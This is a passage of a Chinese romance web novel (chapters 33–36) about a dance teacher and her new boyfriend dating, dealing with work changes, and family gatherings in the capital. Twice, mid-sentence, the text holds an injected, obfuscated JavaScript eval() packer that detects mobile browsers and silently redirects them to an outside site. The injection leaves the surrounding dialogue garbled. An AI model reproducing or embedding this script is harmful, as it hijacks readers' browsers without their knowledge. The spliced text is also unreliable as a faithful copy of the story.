她看着漂亮的洋桔梗,拍了张照片发过去。那边很快电话打来。 卓繁星接起,翁乐仪已经躺在床上,背后是深蓝色的枕头。 “你要睡了吗?”她有些局促地开口。其实已经后悔,他们刚刚确定了关系,却不知道该说什么。 翁乐仪说还好。他换了个更舒服的姿势,沉默了一瞬。 终于他提及那张他发在朋友圈的照片。 “我在法国的一个小镇上拍的。刚好有空,我们驱车去那里。在岛上,可以做缆车上去。那个岛是火山喷发形成的......” “我发的那张是巴纳德环星云,距离我们1500光年......我们带的设备不够好,如果有准备的话......” 卓繁星安静地听着,后来干脆将手机放到床上,自己趴在旁边,就听着他的声音。 “卓繁星,你睡着了吗?”他突然意识到很久没有听见她的声音了。 她的声音软乎乎拖着长音传过来。“没有,我在听。”卓繁星把手机反过来,正对着她趴着的姿势。 翁乐仪顿了一下,眼珠微微移开,又看向她。 “还有一些照片我发给你,如果你感兴趣的话。” “好。” “......早点休息。”他看着手机里的人,她分明眼睛都快合上了。 “嗯。” 这个夜晚像是他发来的神奇星空一样,不可思议。她仿佛徜徉在夜空中,那些星星包裹着她。又像划着一艘船——她趴在船上,船行过就拖拽出点点星光,而她只需要趴在船上,随手一捞,就能捞到一颗星星。 像是童话中的场景。 卓繁星第二日醒来,仍在回味美好的梦境。她很久没有睡的这样安心且满足了,这让她觉得精力充沛,翻了个身将自己包裹在被子中。打开窗,阳光洒在那束洋桔梗上,像是在亲吻它。 然而两个事实上成了男女朋友的人却没有立刻亲密起来,他们像两个笨拙的人,在这件事上都不太熟练。 每每在微信聊天时,卓繁星总想到两只相互用鼻子触碰对方的动物——它们互相碰到对方湿漉漉的鼻子,然后说嗯,很健康。起码是湿润的呀。 微信中的生硬让卓繁星认识到他们其实并没有太多交集的点,而随之而来的就是感到神奇。 他们这样都能在一起。 那为什么大学的时候没有在一起。 她想到她和小苑一起去的鬼屋,厚着脸皮去吃的每一顿饭,每一次双人行后犹如两个挂件一样的人。 因为她的行动太过正常,连邵丽丽都察觉不到她恋爱了。 她倒不至于每次在她这里都要提翁乐仪。卓繁星后来才想到,她同翁乐仪在医院见面的那个晚上,好像正是因为眼前这个人。翁乐仪甚至还给她输了血。 她感叹于际遇的神奇。想了想给翁乐仪发去信息:你认得邵丽丽吧。 那边直到一小时后才回了个问号。 卓繁星纠结该不该提醒一下他。他应当不会同洪旺讲关于邵丽丽的事。他不像是多管闲事的人,而洪旺,卓繁星自然是偏向邵丽丽的。 她还是选择不讲。 翁乐仪发来信息:【我今天应该能早点结束,要不要一起吃晚饭?】 自那日KTV门口之后,他们一直没再见。翁乐仪似乎格外忙碌,晚上常有应酬。而卓繁星周中的课多在晚上。两人工作的地点较远,匆匆见一面实在不划算,连顿饭都吃不安生。 翁乐仪知道她今天在洪家上课,才有这样的提议。 卓繁星答应了,说给Bella上完课就过来,请他把地址发给她,她会自己过去。 然而课还没结束,她就见到了他。 翁乐仪站在门口,二人打了个照面,卓繁星尚没开口,Bella已经跑了过去。 “上次的哥哥。”她已经忘了翁乐仪的名字。 洪栋梁站在一旁,对翁乐仪说:“她还记得你呢。” 陈女士说:“你不知道那次去岛上,翁先生过来陪她玩了好一会儿,后来她就一直惦记。” 翁乐仪同洪栋梁去了书房,临走时看过来一眼。 卓繁星手机里收到消息:【我会在外面等你。】 卓繁星结束后同陈女士告别,走出洪家不远,就在林荫道上看见他的车。 卓繁星上去后,说:“不好意思,你等很久了吗?” 翁乐仪说:“没有,只是洪教授说的理论太高深,我不怎么听的懂。”他以公司最近的研发技术为话题去请教,洪栋梁很高兴,讲起实验室最新的成果,无奈翁乐仪到底不精于此道,一时对于他的话,应付的很吃力。 卓繁星笑了一下。“怎么不问我时间,其实我自己过去也不要紧的。” 翁乐仪没开口,目光在她光洁的脸上扫过,又去看前面的挡风玻璃。 他觉得她在躲他。其实刚开始他也有一些,尽管不愿意承认,可对突然出现的对象,在确认关系后,不知该如何相处。 他的提议冲动。正如她所讲,似乎就在接吻后,他便向她提出了交往的请求。 可是他不觉得有什么不好。只是有些陌生,对于这样的场合。 卓繁星问:“吃什么?” 翁乐仪已经想好了这个问题的答案。“Luna有一家创意菜餐厅,你想去试试吗?” “她不是珠宝设计师吗?” “是,可是不妨碍她开餐厅。” 翁乐仪将车子停在一处花店,下车买了一束雏菊,用牛皮纸包着。 卓繁星道谢,在他下车进店,再到回来,她的视线就没移开过,只是在接过花的时候借着闻花掩盖过去。 卓繁星说:“以后每次见面都会买花吗?” 翁乐仪说会。 卓繁星转过头看向后视镜,里面的人分明在笑。 两人到了Luna的餐厅,或许是周末,位置基本都坐满了。 翁乐仪同服务员打了招呼,很快他就将他们引到一个相对安静的角落。落地窗正对着里面的天井,翁乐仪说:“这里白天的时候可以喝咖啡。” Luna下来,拿了一瓶葡萄酒。“是我想的那样吗?”她搭在繁星肩上问。 卓繁星脸有点红,翁乐仪说:“介绍一下,我女朋友卓繁星。” Luna翻了个白眼,对卓繁星说:“小翁一贯这么正经,好没劲的。”她叫服务员去醒酒,又问卓繁星要不要试一下刚刚做出来的提拉米苏。 卓繁星喝酒上脸,不过浅浅一杯葡萄酒,也让她吃的很快热起来。 “你调的酒是什么味道?” “什么?” “上次在洪旺家里,你给Luna调的。” 翁乐仪笑着说:“下次你可以试试。” 卓繁星眼珠盯着他的手,他拿叉子的手指,举着玻璃杯的手指,她看的眼睛发直。他不用的时候,随意地放在桌上,手指曲起的弧度,力量与线条的美感。 她想起来以前和灵均一道看的漫画,一女N男的那种,里面的男角色无一例外手都会被画的很漂亮,长而直,既能弹奏钢琴,又会在女主的脸上抚摸。 反正是会给一个专门的特写的。 后来卓繁星知道了一个词:手控。 要是被这样一双手抚摸,从头摸到脚,啊,想想就要高潮了。听说中指比较长的那个很厉害哎——啊,这是大学里面小苑说的虎狼之词。 或许是她的眼神太强烈了,翁乐仪有些奇怪地看了一眼自己的手。“怎么?” 卓繁星迅速摇头。 Luna又飘过来,拿了一只拍立得。 “本店活动哦,留下你们的相片记忆可以免费赠送一个菜哦。怎么样,要参加吗?” 卓繁星特别喜欢她说话,感觉十分有趣。 翁乐仪说:“不用免费,我要带走。” Luna切了一声。“难得这么高颜值,我想要拿来发个xhs都不行吗?” 显然他们两个都没有这个意思。 她只能作罢。“算啦算啦,你坐过来。”她指挥着翁乐仪。 翁乐仪坐到卓繁星身边,手放在她身后的椅背上。两人并没有贴的很近,也没有对视,或者一方看着一方,反而很规矩地注视着镜头。 Luna拿出照片后啧啧两声,实在很舍不得。“就不能让我发一下吗?”都是清冷系的,只要这一个动作,就叫人觉得非常高级,非常搭啊。 “不行。”翁乐仪将照片拿过来。 相片上,她穿了一件高领米色线衫,翁乐仪是一件黑色毛衣,他放在身后的手像是在她肩头形成环绕的感觉。 滤镜的缘故,卓繁星觉得有一种复古感。这让她想到那年日本的旅行。为什么那时候没拍一张合影呢,这样就可以清晰地看到他们这些年发生了什么样的变化。 “能不能再拍一张?”卓繁星请求道。 “不行。”Luna明显“怀恨在心”。“让你男友去想办法哦。” 餐厅的楼上是工作室,Luna的珠宝设计就在上面完成。 卓繁星很感兴趣,她跑上木质的台阶,说:“我去看一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067337|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看。” Luna浅酌一口酒,倚在一张大的设计台上。 卓繁星参观了一下,墙上挂了许多设计图纸,还有一些抽象画作,并不像她想的那样会有一些展品的柜台。 “那我告辞啦,下次再见。”翁乐仪还在下面等她,卓繁星同她道。 Luna懒懒地点了下头,说:“所以我上次的占卜准吗?我上次推算的是哪三张牌?” “嗯?”卓繁星明显愣了一下。她打着哈哈。“不知道呀,我也忘记了。”她心虚地跑下去,然后看见楼梯口等待的翁乐仪。 “好了?”他仰头看过来。 卓繁星突然就注意到他的拐杖。她怎么就把他的腿给忘了。她方才跑上楼的样子是不是特别快。她压根就没想到他。 二人沿着街道缓缓走着。这条街文艺气息浓厚,周围许多老建筑,是一种民国的西洋风情。 卓繁星时不时去看他的腿。 “怎么?”他察觉到了。 “你的腿,那个时候是什么样的?”她觉得自己或许不该问,实在扫兴。可是她又想到那个梦。她在与他重逢后做的那个梦——他的腿和她的器官手拉手地回到各自的身体。 “你说出事的时候?” 卓繁星看了他一眼,点头。“我从灵均那里听过。” “就是车祸,刚好被树枝插进去,天太冷,所以没办法。” 卓繁星的电话响了,是何安琪打来的。她在那边说乔诗晴办离职了。 孩子流感发烧,她忙的脚不沾地,现在才有功夫和她讲这件事。 卓繁星听出她很累很烦躁,可是她在约会,她不想让这件事影响她和翁乐仪第一次的约会。 她打断她的吐槽,说:“排课的事你看着办吧,到时候叫潘潘发我。” 电话挂断,她吐出一口气,预料接下去会更加忙碌。本来圣诞时会有一个给家长准备的汇演,乔诗情走了,那她负责的孩子都要压在她头上了。 她想乔诗晴还算贴心,选择在老板生日后离职,不然何安琪怕是连生日都不想过了。 她应该早有打算吧。可是何安琪生日那天,她也是情真意切。哎,这是迟早的事。只是何安琪没想到会这么快,她想怎么也要过了年吧。 翁乐仪研究了一下身边这栋建筑,是上世纪的银行旧址。巨大的罗马石柱撑在门廊两边,人在下面站着,天然就有一种强大的压迫感。 如今他们走的这条路因为翻修,不远处拉起了黄线,行人皆绕道。 “工作上的事?”翁乐仪看见她挂断电话。 卓繁星简单说了一下,他说:“你同你老板关系很好?” 卓繁星说:“我到了Y市后就在这家工作室,不过原先是她和老公合开的。”这里头又是离婚分家的事,卓繁星说:“今年年初的时候,她自立门户,算是最困难的时候吧。” “刘清华说看见你发传单。” “啊?”卓繁星愣了下。“我是碰见过他。” 由此引申,卓繁星忍不住问:“那你有没有想过会遇见我?” 翁乐仪说:“我现在都觉得神奇。”他轻轻一笑。 卓繁星突然停下,站在他面前。 “怎么?” 卓繁星在想这个动作会不会吓到他,会不会太过主动。可她连亲他的事都干了呀。 她决定遵从本心抱住他。她的双手从他的大衣伸过去,将下巴抵在他的胸口。皮肤接触到柔软的毛呢面料,她将自己埋进他的气味里。 许久,她在没有等来他的拥抱后,发出瓮翁的声音。 “你为什么不抱我?” 翁乐仪轻咳一声回答道:“我在想你为什么要抱我。” 卓繁星没有说话,侧脸贴在他胸口。 她想告诉他她做的那个器官的梦,她从灵均那里听到他出事的消息很伤心,她也觉得能在Y市再遇见他是个奇迹......可是她好像不能告诉他。 她不知道为什么不想让他知道她的暗恋——她不想落了下风。 可如果无法诉说,势必又会有一种被辜负的感觉。 他从来不知道她有多喜欢他。 卓繁星有些难受地在他衣服上蹭了蹭脸,悄然叹了口气。 他们第一次约会,他不牵手,也不拥抱。 翁乐仪感受到她猫一样的动作,她的脑袋在他的胸口捣乱。他又感受到第一次被她亲吻时的感觉了。 无措中夹着欣喜。 翁乐仪抬起手放在她环绕着他的那条手臂上,另一只手放在她背后,低下头去寻找她的唇。 他们终于从触碰鼻子到分享唾液了吗。 卓繁星恍恍惚惚地想,她不由自主地贴他更紧,将他的大衣揪住,牢牢攥在手心。 34. 第 34 章 “超薄、水润、玻尿酸;延时、刺激、经典、特大号;超强、凸点、螺纹;隐形、极致快感、草莓味。” 卓繁星目瞪口呆地看着她,邵丽丽趴在沙发上看过来。“要一起买吗?满300减30哦。” “为什么要你买?”卓繁星想洪旺不会是那么抠的人吧。 “有没有可能他在等我主动呢。” “你们还没有过吗?”卓繁星问的迟疑,这实在不像他们两个的风格。 “人家身体还没好啦。”邵丽丽嗔怒道。“而且适时的放缓更容易掌控节奏啊。” “对,幸好你还知道。”卓繁星想其实距离她手术也不过两个多月。这期间真的发生了很多事情啊,让她觉得好像过了很长一段时间。 “要囤货吗?”邵丽丽真的很认真在问她。 “不用了。”她如果告诉她一直都是她主动的,她也会吓死吧。 “好吧,你之后有需要也可以问我拿,我很大方的。它现在出了一款新的,玻尿酸含量很高,不知道怎么样,我先买来试试,到时候好的话推荐给你啊。” 卓繁星麻溜地跑回房间。 她坐在地毯上,拿出那只翁乐仪送的发卡。 “送我的礼物吗?”卓繁星在一吻结束后,摸到头发上的发卡。 她拿下来,少女裙子上围绕着一圈又一圈的红绿宝石,她的裙子熠熠生辉,两条手臂提着裙摆,正在谢幕。 “我能拿这个换照片吗?”卓繁星仰着脸问。 翁乐仪说:“恐怕不行。我想要照片。” “有点贵重。”她小声却诚实地开口。少女的脸就是一颗硕大的钻石,比她看过的许多求婚戒指都大。 “我在法国出差的时候买的。”他这样告诉她。 卓繁星唇角不由自主便勾起来,是啊,他在那里还去拍了星星。 卓繁星的心啊,悠扬起来,像发卡少女一样提起裙摆,跳起舞步,最后摆了个谢幕的姿势。 之后的日子果然如她所料,乔诗情一走,她一下忙碌起来。 虽然有潘潘在,她不需要那么快的认识孩子,但是有时候家长找你沟通,也是很难拒绝的。本来何安琪有意将另一家店打造为面向成人群体的,兼具古风体验与舞蹈学习。她想做一家网红店。可是现在只能搁置。 工作室的自媒体运营也成了问题。账号是收回了,只是以后的内容更新是个难题。 潘潘说:“何姐一开始还想留她的,结果她好像狮子大开口,要了个什么价。反正挺离谱的。” 卓繁星问她:“老师招的怎么样?” 她叹气。“兼职的好找,能常年做下去的,何姐也要看人家水平,现在又快年底了,哪儿来的人呀。” “关键是先前订好了拍摄计划。之前倪玉城新片票房高,他老早的电影《满庭芳》也被带起来,里面不是有段舞蹈,切片发到网上老火了,好多人跟拍。当时何姐就定下来要拍。” “好么,现在人走了,钱要打水漂了。” 卓繁星这天课上完被何安琪叫到办公室,就是和她聊这个事。 “现在只能你顶上了。” 卓繁星没说话,她哎呦一声,撑在桌子上眨巴着眼睛看她。“繁星啊,不露脸。那个电影里就是带面具的,咱们也带呀。” “实在没办法了,帮帮忙吧。”她又苍蝇搓手。 卓繁星无奈跟她确认。“只此一次啊。赶紧找人。” “知道啦,我倒是想找人。其实你要是愿意的话,咱们价钱好谈呀。” 卓繁星摆摆手,果断拒绝。“不要,我面对镜头不自在。” 跳舞和拍视频还是两码事。大学的时候,好多导演来舞蹈学院挖苗子,卓繁星刚开始也跃跃欲试去试镜,她舞跳的不错,长的好,气质佳,奈何面对摄像机就是个木头。 当然何安琪口中的拍视频简单许多,只是卓繁星不想露脸。 她心里隐秘的羞耻让她不愿意将自己暴露出来——她总想要是认识的人刷到会怎么想。尤其是京市的姥姥、姥爷、舅妈,或者还有她妈妈。 也许还有许筠、以前的老师...... 她们会说:“啊,现在卓繁星在舞蹈机构教人跳舞啊。” 或许还会加上一些可惜的感叹。“她以前跳的真不错,我还以为她毕业了肯定要去舞团的。” 原谅她小小的虚荣心吧。她真的不想被她们看见。 卓繁星忙碌地过了一周,新招来的舞蹈老师接过乔诗情部分的工作,舞蹈的拍摄也确定下来。 何安琪每次见她排练都觉得可惜。“你跳的这么好,我给乔诗情大半个月,她都说来不及。” 潘潘狠狠赞同。她以前跟在乔诗情后面,每天都要催她,要练舞啊,要抓紧啊,和皇帝身边的太监一样。 卓繁星说:“我以前跳过。” 她们不知道当时倪玉城为了画面效果怎么折磨她的,她都快跳吐了,而且她还参与编舞,以至于现在都记得。 拍摄那天,卓繁星穿上一袭唐风舞裙,做妆发,就这样花去半天时间,后来跳舞抠细节,各个角度拍摄,结束的时候已经快7点了。 摄像小哥对这次能这么早收工非常满意。 何安琪请客吃饭,卓繁星没去,这里离翁乐仪的公司很近,她早上就搜过了,坐地铁两站就到。 他们已经微信恋爱很久了啊,得去见见男朋友了。 卓繁星给翁乐仪发去信息,在不远处的一家咖啡店等他。 这个时间按理说应该都下班了吧,可是牛马的世界岂能有7点下班的道理。 所以卓繁星遇见齐帆的时候,他已经算是最近最早的一次下班了。 “卓老师。”他欣喜地同她打招呼。“你——”他四下看看,说:“嘉嘉喜欢吃这家的甜甜圈,我给她买一个带回去。” 她不像是来约会,嗯,相亲?这个点咖啡店......他视线随意扫过就看见两对,还带着工牌,真的是很标志的都市男女形象了——下班相亲,生活还能更操蛋一点吗。 不久之前,他也是这样啊。他对那个明显局促的老哥投以同情的眼神,不如回家打游戏。 “要喝点什么吗?我请客。”齐帆热情道。 卓繁星头摇的很快。“不用了,谢谢。” “你是约了人吗?” “是工作室在附近有个活动。” “这样——”他拉了下电脑包的背包带子。“上次KTV碰见你就想说,嘉嘉特别想和你一起玩,那天回来就在说,什么时候能再把卓老师约出来。” 卓繁星有些诧异地睁大眼睛。 齐帆已经局促地没边了,可是他接连遇见她本身不就是一种缘分吗,这莫名给了他很 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“他想追你。办公室里都传开了。” 卓繁星过了会儿小声说:“他在我面前起码没这样说过。” 翁乐仪叹了口气,一个红灯,踩了刹车,随即伸手在她脑袋上狠狠揉了揉。 卓繁星发出抗议的惊呼,扒拉住他的手,死死抓住。 “我发给你的照片好看吗?”她眼睛亮晶晶的,极为动人。 翁乐仪不打算这样过去。“什么?”他这样逗她。 “工作室拍的照片,我今天光妆造就花了三个小时。”她还特意叫摄影小哥拍的。 翁乐仪不说话,认真开车。卓繁星面对着他坐,将身子几乎完全侧过来。外面的灯光透过窗玻璃打在他立体的脸上,有些重庆森林的味道。 她的手没松开他的,她想起来了,上次在Luna的餐厅她就觊觎很久了。 翁乐仪被她弄的彻底没了脾气,手指纠缠,自有一股说不出的缱绻之意。与他的比起来,她的手太柔软。 “卓繁星。我明天去京市出差。” 卓繁星啊了一声。她好不容易空一些,他又要走了。她后天放假,她本来想他们可以好好约个会。 她有些失落地叹了口气,身子瘫下来坐直,只盯着前面的路了。就这样,也没松开他的手。 翁乐仪感觉自己的手在她手里变得温热,将她身上的温度汲取过来。 他偶尔动一下——长久的坚持一个姿势很难——不过动作幅度很小,怕会惊动她。他觉得她握着他的手很好,他并不打算改变。 许久,他开口:“卓繁星,他还会联系你吗?” “谁?”繁星如梦初醒,她今天其实很累,有些晃神。 翁乐仪抿了下唇说:“齐帆。” “他女儿在和我学跳舞。不过一般都是助教老师联系家长。” 她说完,晃了晃他的手。 翁乐仪说:“知道了。” “知道什么?” 他转过脸,前车红色尾灯照在他脸上,他漆黑的眼珠亮的惊人,好像内置了幽深的隧道。 “他那边我会去说的。” 35. 第 35 章 他会去说的。 他怎么说。 卓繁星虽然有些好奇,但绝对不会去问。 她知道自己隐秘的心思。好像天生对这段感情就抱着悲观的想法。即便正是热恋的时候,可她始终抱有最坏的打算。 她控制不住地沉溺进去,可那是在面对他的时候,只有他们两个人。她觉得还是低调些的好,低调才能长久。这样等结束后,一切都会了无痕迹,她会省去很多麻烦。 京市家属院,翁乐仪正在看她发来的粗剪视频,他昨天已经看过了。他现在没事,所以选择再打开。 “乐仪,出发吧。” “好的。”翁乐仪按灭手机,套上外套。 他昨天从津市的工厂折返回到爷爷家,他们要去吃顿早饭。 京市的天很冷,昨日下了场雪,如今天晴,白茫茫一片。从家属院出去,走过不远就是后海,岸边的柳树光秃秃剩了枝条。冰场再过一个多月才会开放。 他们习惯在一家老字号炒肝店吃早饭,翁爷爷瞧见了佟家爷孙。 “来,老佟,坐这儿来。” “您今儿真是新鲜,跑这儿来吃早饭。”佟爷爷摘了帽子,佟笑赶紧给他把翘起来的几根白毛压服帖。 “乐仪刚好过来,我早晨突然惦记这一口了——”他说着就转过去,排队的地方,乐仪正和佟家姑娘站在一起。 小姑娘脸蛋圆圆,打了个哈欠,到她了,脑袋一伸,笑的和多花儿似的对里面的阿姨点菜——多讨喜啊。 翁乐仪说:“一道结账。” 佟笑说:“那怎么好意思呢,不用不用。” “没事,下次我爷爷来,你也请回来。” 佟笑说:“那感情好,叫我爷爷请。”她问:“你记得卓繁星吗?” 翁乐仪瞧了她一眼,点头。佟笑说:“上次在旗袍店,你俩就碰上了。她是我大学同学,我俩住对床。” 翁乐仪付好了钱,两人拿着托盘往回走。 翁爷爷问:“你家姑娘找对象了吗?” “没呢。要不你给他介绍一个?以前吧老在外面飘,我儿媳妇老说她,结果现在就搁店里呆着,更愁人了——你家小子呢?” 翁爷爷叹气。“一样。一天到晚忙工作,你说哪家姑娘能看上他。” “我见着分明是他要求高。”他见着翁乐仪在他对面坐下,嗐,小伙子真是一表人才,就是可惜了这条腿。别以为他不知道他的心思,可他就这么一个乖宝贝,可不想她吃苦。别的不说,就得找个健健康康的。 翁爷爷说:“都一样,谁也别说谁。” 翁乐仪不知道他俩聊什么,回来就听见这句。佟笑积极跑去拿筷子,回来的时候也是跳着的。 翁爷爷见了就喜欢,忍不住就和她多聊天。嘿,小姑娘吃的也多,胃口真好。“您也爱吃这个艾窝窝呢,我也爱吃。我爷爷总不喜欢这个味道。” “乐仪也不爱。” “马记的也好吃,得是鼓楼那家的,回头我给您带。” “那感情好,我住XX院,平常都在,麻烦你送过来。” “电瓶车五分钟的事儿,包在我身上。” 翁爷爷回去一路都是笑呵呵的。“你俩微信加上啊,到时候给她发定位。” 翁乐仪无语。“您是她家老主顾,她家里没您地址?” 翁爷爷哼了一声。“我那是为谁呢?” “不用您操心,我有对象了。” “啊?”翁爷爷本来背着手走前面去了,一下停住,转回来看他。 “真的?你诓我呢吧。” “我骗你做什么?” “哪家的姑娘?有照片吗?谈了多久了?快给我看看。” 翁乐仪本来想说到时候您就知道了,突然想到了什么,笑道:“别说,您还真见过。” 好了,这一下彻底把老人给惹恼了。要是个陌生人吧也就算了,可这句您见过,叫他真是想的抓耳挠腮,恨不得把自己以前见过的女娃娃都翻出来。 那头,卓繁星也是起了个大早,去敲邵丽丽的门。 昨天洪旺将她送过来的。一进来,他提了一只大的行李箱——那是邵丽丽前几天说去拍戏理出来的,邵丽丽跟在后头,脸白如纸,和先前住院的时候没两样。 杰米不知道怎么给她接洽到一个短剧拍摄的工作,邵丽丽停工许久,眼见着是个好机会,当然特别开心,毕竟现在短剧市场非常火爆。 她高兴地出发了,结果没想到那边工作强度这么大。她本来身体就虚,连着拍了十五个小时,又穿的单薄,收工回来就发烧了。 洪旺说:“这两天我在H大有个交流会,麻烦你了。” 邵丽丽人怏怏的,卓繁星问她想吃什么。她摇头说没胃口。 “你好点没?” “别把你给传染了。”她躲在后面讲,她在医院里面查出来是病毒性的。 “你自己记得量体温啊。” 卓繁星去小区超市买了红枣小米,放电饭煲里煮。 手机里佟笑发信息过来说她遇见翁乐仪了。【和他爷爷出来一道吃早饭。】 翁乐仪发了张后海的照片。 卓繁星立刻想起有有一年年初二,舅妈一家都回老家去了,她一个人留在京市。那年过年的时候,她自己给自己煮了盘饺子,还是保姆奶奶回家之前包好速冻的。 她没觉得多孤单,反而有种松口气的感觉。蒋凌洲提前去了美国念书,当然他们都觉得她是被他甩了。不过好像也差不多吧。所以卓繁星在后来他回来找她的时候,分外的意外和不理解。 因为她觉得他应该对她并没有多喜欢。 舅妈去蒋家拜年的时候,蒋凌洲妈妈估计很不待见她,她回来就说:“女孩子还是要自爱,这时候读书最重要,其他的事情不要去想。” 卓繁星知道是说给自己听的。她没觉得委屈,就是羞。答应蒋凌洲的是她啊,谁也没逼她。 灵均反而很不乐意。“那俞阿姨怎么不说说他儿子。一个巴掌拍不响,男的就没错了。我们最自爱了,顶自爱了。” 然后就被舅妈凶了。 她在房间里还在替她不值。“他什么意思,拍拍屁股出国去了。他和你联系过没?怎么这么狠心。早知道我才不要喜欢他。渣男一个。” 年初二的时候他们还没回来,卓繁星就自己跑后海溜冰去了。 她在炒肝店碰见和爷爷一道去吃早饭的翁乐仪。翁爷爷得知他俩是同学,和蔼地问:“一个人出来?” 卓繁星拿着一串糖葫芦,说:“我和同学出来玩儿。” “来溜冰吧。” 卓繁星点点头,抿着嘴补充道:“他们在冰场等我呢。” “那你好好玩儿。新年快乐。” “新年快乐。”卓繁星看着他,又羞涩地看向他身边的翁乐仪。“翁乐仪,新年快乐。” 男孩儿穿着一件黑色短款羽绒服,戴着一只卡其色雷锋帽,口罩下闷闷的声音传出来:“新年快乐。” 卓繁星突然觉得好幸运,这一天都变得很美好。 翁乐仪之后又去了蒋家,姥姥电话打来叫他过去吃午饭。他以为会见到他妈妈,没想到她不在。 舅妈俞秋华说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067339|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在西山别墅,去了你爸那儿一趟,回来就感染了,我估计是从你爸那儿传染过来的。现在流感厉害,你也要当心。” 家中有客,是京市大学经济管理学院的主任,为了迎接校庆,如今院里在做校友的专访,预备放在新的校刊里。 家里寻了个光线好的地方采访,翁乐仪去的时候已经快结束了。 电梯里,他们一道下来,秦老太太见着他,同他们介绍。“这是我外孙,翁乐仪。” “是乐且有仪的那个乐仪?”说话的姑娘一身暖黄色的毛呢长裙,腰线掐的好,又穿了一双高跟鞋,显得非常挺拔。 “正是呀。”老太太有些意外地看着她。 几人到了客厅落座,翁乐仪不免要被问起Y市的事。 他简短讲了讲。好在蒋凌洲携林灿赶来,他终于能将位置让出去。 俞秋华愣了下,老太太已经招手叫林灿过去,显然这是婆婆的主意。 连衣裙姑娘叫程知遇,本科是学经济学的,后来研究生辅修了新闻与传播。若按她的规划,或许留校,或许去电视台做财经类的主持。不过总的来说,都是一条康庄大道。 程知遇在斯坦福大学交流过半年,对蒋凌洲略有耳闻。他的基金公司非常成功,每年交出来的成绩都十分亮眼。 因为专业契合,二人不免多聊了几句。 林灿对这类高知女性十分敬佩,羡慕她们头脑好,很快加上微信。 “你是芭蕾舞者?”程小姐明显也对她很感兴趣。“说来惭愧,我小时候妈妈也逼着我学了几年,可是我实在坚持不下去。” “的确很枯燥啦。真的吃过这个苦的人才知道。不过你条件真的很好,怪不得你母亲坚持。” 翁乐仪低头回着消息,卓繁星发来一张图片——她自己熬的小米红枣粥,搭配买来的豆沙包、南瓜馒头,还有炒的西芹百合。配文:我厉害吗?加一个小熊跳舞的表情包。 【现在才吃早饭吗?】他发过去。 【是午饭。】她又发过来:【你吃了吗?】 【还没,在姥姥家。】 那边正在输入中【那我先开动啦】,随之而来的就是兔子亲亲——一只兔子趴在另一只兔子脑袋上咬了一口。 翁乐仪的手指顿了一下,抬头就看见他们在看他。 “怎么?” 程姑娘说:“是在看什么有意思的事吗?你刚刚笑的很开心。” 她说完咬了咬唇,觉得自己冒进了,明显他们还没那么熟。 翁乐仪笑了下,没有解释。“我去泡杯咖啡,你们要吗?” 他起身,两个姑娘很捧场的点了一杯。程知遇目送他离开,转过头对上林灿有些意涵的眨眼。 她觉得脸热,理着裙子起来说:“我去看看,我对咖啡机、咖啡豆这些很感兴趣。” 她走后,林灿啧啧两声。“小翁的魅力好大。” 蒋凌洲低头点烟。 “你说她俩有没有可能?” “谁?”他的声音有些含糊。 林灿的眼睛瞟向厨房的方向,隐隐好像还能听到一些交谈声。 “我觉得小翁比你还难搞。”她转过来趴在他肩上肯定道。 这句话明显让蒋凌洲觉得有意思,他失笑,没有否认。 “小翁以前有喜欢的人吗?” 蒋凌洲愣了下,看她。“你很关心?” “我在评估程小姐成功的概率。如果有一个参考就能知道他喜欢哪个类型。就好像初恋总是白月光一样的存在,对男人尤甚。” 她有意去观察他的表情,奈何他毫不在意。 36. 第 36 章 翁乐仪回Y市那天有同卓繁星发过信息。他大约4点落地,可以一道吃晚饭。 卓繁星去机场接他,这个决定是临时的,当时想做便去做了。她很少有这样不加思考的时候,可是偶尔这样的冲动还是很快乐的。 她想给翁乐仪一个惊喜。 她同新来的老师调了课,早早便赶到机场。然而翁乐仪在落地后就给她打了电话。“临时加会,我得赶去公司,抱歉,不能一道吃晚饭了。” 卓繁星想还好自己来了,不然不是要明天才能见面了。 她更期待他见到自己的表情了。 翁乐仪没有等来她的声音。“卓繁星。” “好吧。”她低落的声音通过话筒传过来,翁乐仪蹙了蹙眉。机场大厅十分宽敞,脚下的地面光可鉴人,人来人往,有一种疏离的秩序感。 “抱歉。”他沉声讲。“或许你休息那天,我们可以去远一些的地方,你想去哪里?我来安排。” 他的声音还在耳朵边,有些抱歉,又很无奈,想要安慰她。卓繁星不介意多听一会儿。 她看着背对她的人——卡其色的灯芯绒衬衫领子贴着他修剪过的头发,他一只手插着大衣口袋,露出来的侧脸极为干净。 “卓繁星?”久等不来她的回应,翁乐仪有些不确定地看了眼手机。 腰上被轻轻戳了戳,他蹙眉转头。 “帅哥,能加个微信吗?” 卓繁星晃了下手机,白色的贝雷帽下面,调皮地望着他。 “什么时候来的?” “也就比你早了那么半个小时吧。你好忙呀。”她有些抱怨地嗔道,随即问他:“有没有被惊喜到?” 他肯定很开心。因为她都看到他弯起来的眼睛了。 卓繁星得意地望着他,两人都从对方的眼睛里看到了雀跃与惊喜。 “还好我来了,不然今天不是见不到你了。” 翁乐仪的眼珠亮的惊人,卓繁星被这样注视着也是会害羞的。她低下头,去看四周,问:“你没有行李箱吗?怎么回公司?唉?” 她被他牵走,直到停在一间书屋侧面。 吻很快落了下来。 